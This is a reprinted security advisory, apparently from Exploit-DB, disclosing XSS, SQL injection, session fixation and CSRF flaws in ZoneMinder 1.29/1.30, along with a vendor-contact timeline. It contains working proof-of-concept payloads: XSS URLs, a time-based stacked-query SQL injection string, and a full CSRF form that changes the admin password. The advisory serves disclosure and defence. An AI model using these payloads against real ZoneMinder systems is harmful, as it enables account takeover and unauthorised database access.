Zoneminder 1.29/1.30 - Cross-Site Scripting / SQL Injection / Session Fixation / Cross-Site Request Forgery

EDB-ID:

41239

CVE:

N/A


Platform:

PHP

Published:

2017-02-03

Source: https://www.foxmole.com/advisories/foxmole-2016-07-05.txt

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=== FOXMOLE - Security Advisory 2016-07-05 ===

Zoneminder multiple vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected Versions
=================
Zoneminder 1.29,1.30

Issue Overview
==============
Vulnerability Type: SQL Injection, Cross Site Scripting, Session Fixation, No CSRF Protection
Technical Risk: high
Likelihood of Exploitation: medium
Vendor: Zoneminder
Vendor URL: https://zoneminder.com/
Credits: FOXMOLE employee Tim Herres
Advisory URL: https://www.foxmole.com/advisories/foxmole-2016-07-05.txt
Advisory Status: Public
CVE-Number: NA
CVE URL: NA
OVE-ID: 
OVI-ID: 
CWE-ID: CWE-89
CVSS 2.0: 4.3 (AV:N/AC:M/Au:N/C:P/I:N/A:N)


Impact
======
During an internal code review multiple vulnerabilities were identified.
The whole application misses input validation and output encoding.
This means user supplied input is inserted in an unsafe way.
This could allow a remote attacker to easily compromise user accounts or access the database in an unsafe way.

Issue Description
=================
The following findings are only examples there are quite more. The whole application should be reviewed.

All items tested using Firefox

1)Cross Site Scripting (XSS)
Reflected: http://192.168.241.131/zm/index.php?view=request&request=log&task=download&key=a9fef1f4&format=texty9fke%27%3Chtml%3E%3Chead%3E%3C/head%3E%3Cbody%3E%3Cscript%3Ealert(1)%3C%2fscript%3E%3C/body%3E%3C/html%3Eayn2h
Reflected without authentication: http://192.168.241.131/zm/index.php/LSE4%22%3E%3Cscript%3Ealert(1)%3C/script%3ELSE
Stored: Creating a new monitor using the name "Bla<script>alert(1)</script>". There is only a clientside protection.

2)SQL Injection
Example Url:http://192.168.241.131/zm/index.php
Parameter: limit (POST)
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: view=request&request=log&task=query&limit=100;(SELECT *
FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
Easy exploitable using sqlmap.

3)Session Fixation
After a successful authentication the Session Cookie ZMSESSID remains the same.
Example: Cookie before the login = ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2 after successful login
ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2

4)No CSRF Proctection
A possible CSRF attack form, which changes the password of the admin (uid=1), if the corresponding user activates it.
<html>
  <body>
    <form action="http://192.168.241.131/zm/index.php" method="POST">
      <input type="hidden" name="view" value="user" />
      <input type="hidden" name="action" value="user" />
      <input type="hidden" name="uid" value="1" />
      <input type="hidden" name="newUser&#91;MonitorIds&#93;" value="" />
      <input type="hidden" name="newUser&#91;Username&#93;" value="admin" />
      <input type="hidden" name="newUser&#91;Password&#93;"
value="admin1" />
      <input type="hidden" name="conf&#95;password" value="admin1" />
      <input type="hidden" name="newUser&#91;Language&#93;" value="" />
      <input type="hidden" name="newUser&#91;Enabled&#93;" value="1" />
      <input type="hidden" name="newUser&#91;Stream&#93;" value="View" />
      <input type="hidden" name="newUser&#91;Events&#93;" value="Edit" />
      <input type="hidden" name="newUser&#91;Control&#93;" value="Edit" />
      <input type="hidden" name="newUser&#91;Monitors&#93;" value="Edit" />
      <input type="hidden" name="newUser&#91;Groups&#93;" value="Edit" />
      <input type="hidden" name="newUser&#91;System&#93;" value="Edit" />
      <input type="hidden" name="newUser&#91;MaxBandwidth&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



Temporary Workaround and Fix
============================
FOXMOLE advises to disable Zoneminder until the vendor publishes a complete fix.



History
=======
2016-07-05  Issue discovered
2016-11-22  Vendor contacted, no response
2016-12-16  Vendor contacted again, still no response
2017-01-17  Vendor contacted --> working on a patch
2017-01-22  Vendor contacted, asked for an update and
            declare advisory release to 2017-02-02 --> no response
2017-02-02  Advisory Release


GPG Signature
=============
This advisory is signed with the GPG key of the FOXMOLE advisories team.
The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc


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